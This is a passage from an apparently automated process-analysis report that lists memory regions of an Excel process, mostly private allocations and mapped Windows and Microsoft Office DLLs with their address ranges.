"private_0x0000000009280000" filename = "" Region: id = 316 start_va = 0x92c0000 end_va = 0x93bffff entry_point = 0x0 region_type = private name = "private_0x00000000092c0000" filename = "" Region: id = 317 start_va = 0x93c0000 end_va = 0x94bffff entry_point = 0x0 region_type = private name = "private_0x00000000093c0000" filename = "" Region: id = 318 start_va = 0x94e0000 end_va = 0x95dffff entry_point = 0x0 region_type = private name = "private_0x00000000094e0000" filename = "" Region: id = 319 start_va = 0x95e0000 end_va = 0x9798fff entry_point = 0x95e0000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 320 start_va = 0x97a0000 end_va = 0x989ffff entry_point = 0x0 region_type = private name = "private_0x00000000097a0000" filename = "" Region: id = 321 start_va = 0x98a0000 end_va = 0x999ffff entry_point = 0x0 region_type = private name = "private_0x00000000098a0000" filename = "" Region: id = 322 start_va = 0x9a70000 end_va = 0x9b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000009a70000" filename = "" Region: id = 323 start_va = 0x9b70000 end_va = 0xa36ffff entry_point = 0x0 region_type = private name = "private_0x0000000009b70000" filename = "" Region: id = 324 start_va = 0xa370000 end_va = 0xa519fff entry_point = 0x0 region_type = private name = "private_0x000000000a370000" filename = "" Region: id = 325 start_va = 0xa540000 end_va = 0xa63ffff entry_point = 0x0 region_type = private name = "private_0x000000000a540000" filename = "" Region: id = 326 start_va = 0xa6c0000 end_va = 0xa73ffff entry_point = 0x0 region_type = private name = "private_0x000000000a6c0000" filename = "" Region: id = 327 start_va = 0xa7c0000 end_va = 0xa8bffff entry_point = 0x0 region_type = private name = "private_0x000000000a7c0000" filename = "" Region: id = 328 start_va = 0xa920000 end_va = 0xaa1ffff entry_point = 0x0 region_type = private name = "private_0x000000000a920000" filename = "" Region: id = 329 start_va = 0xaa20000 end_va = 0xab1ffff entry_point = 0x0 region_type = private name = "private_0x000000000aa20000" filename = "" Region: id = 330 start_va = 0xabc0000 end_va = 0xacbffff entry_point = 0x0 region_type = private name = "private_0x000000000abc0000" filename = "" Region: id = 331 start_va = 0xacc0000 end_va = 0xaebffff entry_point = 0x0 region_type = private name = "private_0x000000000acc0000" filename = "" Region: id = 332 start_va = 0xaf70000 end_va = 0xb06ffff entry_point = 0x0 region_type = private name = "private_0x000000000af70000" filename = "" Region: id = 333 start_va = 0xb0a0000 end_va = 0xb19ffff entry_point = 0x0 region_type = private name = "private_0x000000000b0a0000" filename = "" Region: id = 334 start_va = 0xb280000 end_va = 0xb37ffff entry_point = 0x0 region_type = private name = "private_0x000000000b280000" filename = "" Region: id = 335 start_va = 0xb3c0000 end_va = 0xb4bffff entry_point = 0x0 region_type = private name = "private_0x000000000b3c0000" filename = "" Region: id = 336 start_va = 0xb600000 end_va = 0xb6fffff entry_point = 0x0 region_type = private name = "private_0x000000000b600000" filename = "" Region: id = 337 start_va = 0x374e0000 end_va = 0x374effff entry_point = 0x0 region_type = private name = "private_0x00000000374e0000" filename = "" Region: id = 338 start_va = 0x6fff0000 end_va = 0x6fffffff entry_point = 0x0 region_type = private name = "private_0x000000006fff0000" filename = "" Region: id = 339 start_va = 0x74c50000 end_va = 0x74c82fff entry_point = 0x74c50000 region_type = mapped_file name = "osppc.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll") Region: id = 340 start_va = 0x774d0000 end_va = 0x775c9fff entry_point = 0x774d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 341 start_va = 0x775d0000 end_va = 0x776eefff entry_point = 0x775d0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 342 start_va = 0x776f0000 end_va = 0x77898fff entry_point = 0x776f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 343 start_va = 0x778b0000 end_va = 0x778b2fff entry_point = 0x778b0000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 344 start_va = 0x778c0000 end_va = 0x778c6fff entry_point = 0x778c0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 345 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 346 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 347 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 348 start_va = 0x13f190000 end_va = 0x141271fff entry_point = 0x13f190000 region_type = mapped_file name = "excel.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe") Region: id = 349 start_va = 0x7febe3e0000 end_va = 0x7febe3effff entry_point = 0x0 region_type = private name = "private_0x000007febe3e0000" filename = "" Region: id = 350 start_va = 0x7fee6030000 end_va = 0x7fee6056fff entry_point = 0x7fee6030000 region_type = mapped_file name = "ehstorapi.dll" filename = "\\Windows\\System32\\EhStorAPI.dll" (normalized: "c:\\windows\\system32\\ehstorapi.dll") Region: id = 351 start_va = 0x7fee6060000 end_va = 0x7fee62d0fff entry_point = 0x7fee6060000 region_type = mapped_file name = "wpdshext.dll" filename = "\\Windows\\System32\\wpdshext.dll" (normalized: "c:\\windows\\system32\\wpdshext.dll") Region: id = 352 start_va = 0x7fee62e0000 end_va = 0x7fee6301fff entry_point = 0x7fee62e0000 region_type = mapped_file name = "ntlanman.dll" filename = "\\Windows\\System32\\ntlanman.dll" (normalized: "c:\\windows\\system32\\ntlanman.dll") Region: id = 353 start_va = 0x7fee6310000 end_va = 0x7fee6382fff entry_point = 0x7fee6310000 region_type = mapped_file name = "ieproxy.dll" filename = "\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll") Region: id = 354 start_va = 0x7fee6390000 end_va = 0x7fee6451fff entry_point = 0x7fee6390000 region_type = mapped_file name = "mssvp.dll" filename = "\\Windows\\System32\\mssvp.dll" (normalized: "c:\\windows\\system32\\mssvp.dll") Region: id = 355 start_va = 0x7fee6460000 end_va = 0x7fee64dafff entry_point = 0x7fee6460000 region_type = mapped_file name = "structuredquery.dll" filename = "\\Windows\\System32\\StructuredQuery.dll" (normalized: "c:\\windows\\system32\\structuredquery.dll") Region: id = 356 start_va = 0x7fee64e0000 end_va = 0x7fee6731fff entry_point = 0x7fee64e0000 region_type = mapped_file name = "wxpnse.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\WXPNSE.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\wxpnse.dll") Region: id = 357 start_va = 0x7fee6740000 end_va = 0x7fee675bfff entry_point = 0x7fee6740000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 358 start_va = 0x7fee6760000 end_va = 0x7fee677afff entry_point = 0x7fee6760000 region_type = mapped_file name = "mapi32.dll" filename = "\\Windows\\System32\\mapi32.dll" (normalized: "c:\\windows\\system32\\mapi32.dll") Region: id = 359 start_va = 0x7fee6a20000 end_va = 0x7fee6abffff entry_point = 0x7fee6a20000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 360 start_va = 0x7fee6ac0000 end_va = 0x7fee75b8fff entry_point = 0x7fee6ac0000 region_type = mapped_file name = "chart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\chart.dll") Region: id = 361 start_va = 0x7fee75c0000 end_va = 0x7fee77e2fff entry_point = 0x7fee75c0000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\riched20.dll") Region: id = 362 start_va = 0x7fee77f0000 end_va = 0x7fee7888fff entry_point = 0x7fee77f0000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 363 start_va = 0x7fee7890000 end_va = 0x7fee78fefff entry_point = 0x7fee7890000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 364 start_va = 0x7fee7a20000 end_va = 0x7fee7b9dfff entry_point = 0x7fee7a20000 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 365 start_va = 0x7fee7ba0000 end_va = 0x7fee7d1afff entry_point = 0x7fee7ba0000 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 366 start_va = 0x7fee7d20000 end_va = 0x7feecb5efff entry_point = 0x7fee7d20000 region_type = mapped_file name = "msores.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msores.dll") Region: id = 367 start_va = 0x7feecb60000 end_va = 0x7feed480fff entry_point = 0x7feecb60000 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lres.dll") Region: id = 368 start_va = 0x7feed490000 end_va = 0x7feed797fff entry_point = 0x7feed490000 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uires.dll") Region: id = 369 start_va = 0x7feed7a0000 end_va = 0x7feeea7bfff entry_point = 0x7feed7a0000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 370 start_va = 0x7feeea80000 end_va = 0x7feef24bfff entry_point = 0x7feeea80000 region_type = mapped_file name = "mso99lwin32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lwin32client.dll") Region: id = 371 start_va = 0x7feef250000 end_va = 0x7feefb3afff entry_point = 0x7feef250000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 372 start_va = 0x7feefb40000 end_va = 0x7feeffb7fff entry_point = 0x7feefb40000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 373 start_va = 0x7feeffc0000 end_va = 0x7fef112bfff entry_point = 0x7feeffc0000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oart.dll") Region: id = 374 start_va = 0x7fef1130000 end_va = 0x7fef1206fff entry_point = 0x7fef1130000 region_type = mapped_file name = "searchfolder.dll" filename = "\\Windows\\System32\\SearchFolder.dll" (normalized: "c:\\windows\\system32\\searchfolder.dll") Region: id = 375 start_va = 0x7fef1370000 end_va = 0x7fef1435fff entry_point = 0x7fef1370000 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 376 start_va = 0x7fef1440000 end_va = 0x7fef160ffff entry_point = 0x7fef1440000 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 377 start_va = 0x7fef1610000 end_va = 0x7fef1913fff entry_point = 0x7fef1610000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 378 start_va = 0x7fef19a0000 end_va = 0x7fef19c6fff entry_point = 0x7fef19a0000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 379 start_va = 0x7fef1a60000 end_va = 0x7fef1a9afff entry_point = 0x7fef1a60000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 380 start_va = 0x7fef1aa0000 end_va = 0x7fef1abefff entry_point = 0x7fef1aa0000 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 381 start_va = 0x7fef21e0000 end_va = 0x7fef2233fff entry_point = 0x7fef21e0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 382 start_va = 0x7fef2240000 end_va = 0x7fef2df6fff entry_point = 0x7fef2240000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 383 start_va = 0x7fef3030000 end_va = 0x7fef3039fff entry_point = 0x7fef3030000 region_type = mapped_file name = "drprov.dll" filename = "\\Windows\\System32\\drprov.dll" (normalized: "c:\\windows\\system32\\drprov.dll") Region: id = 384 start_va = 0x7fef44a0000 end_va = 0x7fef463bfff entry_point = 0x7fef44a0000 region_type = mapped_file name = "networkexplorer.dll" filename = "\\Windows\\System32\\networkexplorer.dll" (normalized: "c:\\windows\\system32\\networkexplorer.dll") Region: id = 385 start_va = 0x7fef4640000 end_va = 0x7fef465dfff entry_point = 0x7fef4640000 region_type = mapped_file name = "msohev.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSOHEV.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohev.dll") Region: id = 386 start_va = 0x7fef4660000 end_va = 0x7fef4662fff entry_point = 0x7fef4660000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-file-l1-2-0.dll") Region: id = 387 start_va = 0x7fef4670000 end_va = 0x7fef4672fff entry_point = 0x7fef4670000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 388 start_va = 0x7fef4680000 end_va = 0x7fef4682fff entry_point = 0x7fef4680000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 389 start_va = 0x7fef4690000 end_va = 0x7fef4692fff entry_point = 0x7fef4690000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 390 start_va = 0x7fef46a0000 end_va = 0x7fef46a2fff entry_point = 0x7fef46a0000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-file-l2-1-0.dll") Region: id = 391 start_va = 0x7fef46b0000 end_va = 0x7fef46b2fff entry_point = 0x7fef46b0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 392 start_va = 0x7fef46c0000 end_va = 0x7fef47b1fff entry_point = 0x7fef46c0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ucrtbase.dll") Region: id = 393 start_va = 0x7fef47c0000 end_va = 0x7fef47c6fff entry_point = 0x7fef47c0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 394 start_va = 0x7fef47d0000 end_va = 0x7fef48f8fff entry_point = 0x7fef47d0000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 395 start_va = 0x7fef4900000 end_va = 0x7fef4979fff entry_point = 0x7fef4900000 region_type = mapped_file name = "appvisvstream64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll") Region: id = 396 start_va = 0x7fef4980000 end_va = 0x7fef4bb5fff entry_point = 0x7fef4980000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 397 start_va = 0x7fef4bf0000 end_va = 0x7fef4c6efff entry_point = 0x7fef4bf0000 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 398 start_va = 0x7fef4c70000 end_va = 0x7fef4caafff entry_point = 0x7fef4c70000 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\System32\\msls31.dll" (normalized: "c:\\windows\\system32\\msls31.dll") Region: id = 399 start_va = 0x7fef4cb0000 end_va = 0x7fef4d75fff entry_point = 0x7fef4cb0000 region_type = mapped_file name = "msftedit.dll" filename = "\\Windows\\System32\\msftedit.dll" (normalized: "c:\\windows\\system32\\msftedit.dll") Region: id = 400 start_va = 0x7fef5040000 end_va = 0x7fef504bfff entry_point = 0x7fef5040000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 401 start_va = 0x7fef5050000 end_va = 0x7fef5083fff entry_point = 0x7fef5050000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 402 start_va = 0x7fef5090000 end_va = 0x7fef517dfff entry_point = 0x7fef5090000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 403 start_va = 0x7fef5210000 end_va = 0x7fef5219fff entry_point = 0x7fef5210000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 404 start_va = 0x7fef5460000 end_va = 0x7fef546efff entry_point = 0x7fef5460000 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 405 start_va = 0x7fef54f0000 end_va = 0x7fef552afff entry_point = 0x7fef54f0000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 406 start_va = 0x7fef55a0000 end_va = 0x7fef565cfff entry_point = 0x7fef55a0000 region_type = mapped_file name = "portabledeviceapi.dll" filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll") Region: id = 407 start_va = 0x7fef57f0000 end_va = 0x7fef57fbfff entry_point = 0x7fef57f0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 408 start_va = 0x7fef5870000 end_va = 0x7fef58effff entry_point = 0x7fef5870000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 409 start_va = 0x7fef58f0000 end_va = 0x7fef58fefff entry_point = 0x7fef58f0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 410 start_va = 0x7fef5900000 end_va = 0x7fef590bfff entry_point = 0x7fef5900000 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 411 start_va = 0x7fef5910000 end_va = 0x7fef598dfff entry_point = 0x7fef5910000 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 412 start_va = 0x7fef5990000 end_va = 0x7fef59c4fff entry_point = 0x7fef5990000 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 413 start_va = 0x7fef59d0000 end_va = 0x7fef624dfff entry_point = 0x7fef59d0000 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll") Region: id = 414 start_va = 0x7fef6250000 end_va = 0x7fef6408fff entry_point = 0x7fef6250000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 415 start_va = 0x7fef6420000 end_va = 0x7fef6422fff entry_point = 0x7fef6420000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 416 start_va = 0x7fef6430000 end_va = 0x7fef6432fff entry_point = 0x7fef6430000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 417 start_va = 0x7fef6450000 end_va = 0x7fef6452fff entry_point = 0x7fef6450000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 418 start_va = 0x7fef6460000 end_va = 0x7fef6462fff entry_point = 0x7fef6460000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 419 start_va = 0x7fef6470000 end_va = 0x7fef6474fff entry_point = 0x7fef6470000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 420 start_va = 0x7fef6480000 end_va = 0x7fef6484fff entry_point = 0x7fef6480000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 421 start_va = 0x7fef6490000 end_va = 0x7fef6492fff entry_point = 0x7fef6490000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 422 start_va = 0x7fef64a0000 end_va = 0x7fef653dfff entry_point = 0x7fef64a0000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msvcp140.dll") Region: id = 423 start_va = 0x7fef6540000 end_va = 0x7fef6543fff entry_point = 0x7fef6540000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 424 start_va = 0x7fef6550000 end_va = 0x7fef6553fff entry_point = 0x7fef6550000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 425 start_va = 0x7fef6560000 end_va = 0x7fef6562fff entry_point = 0x7fef6560000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 426 start_va = 0x7fef6570000 end_va = 0x7fef6573fff entry_point = 0x7fef6570000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 427 start_va = 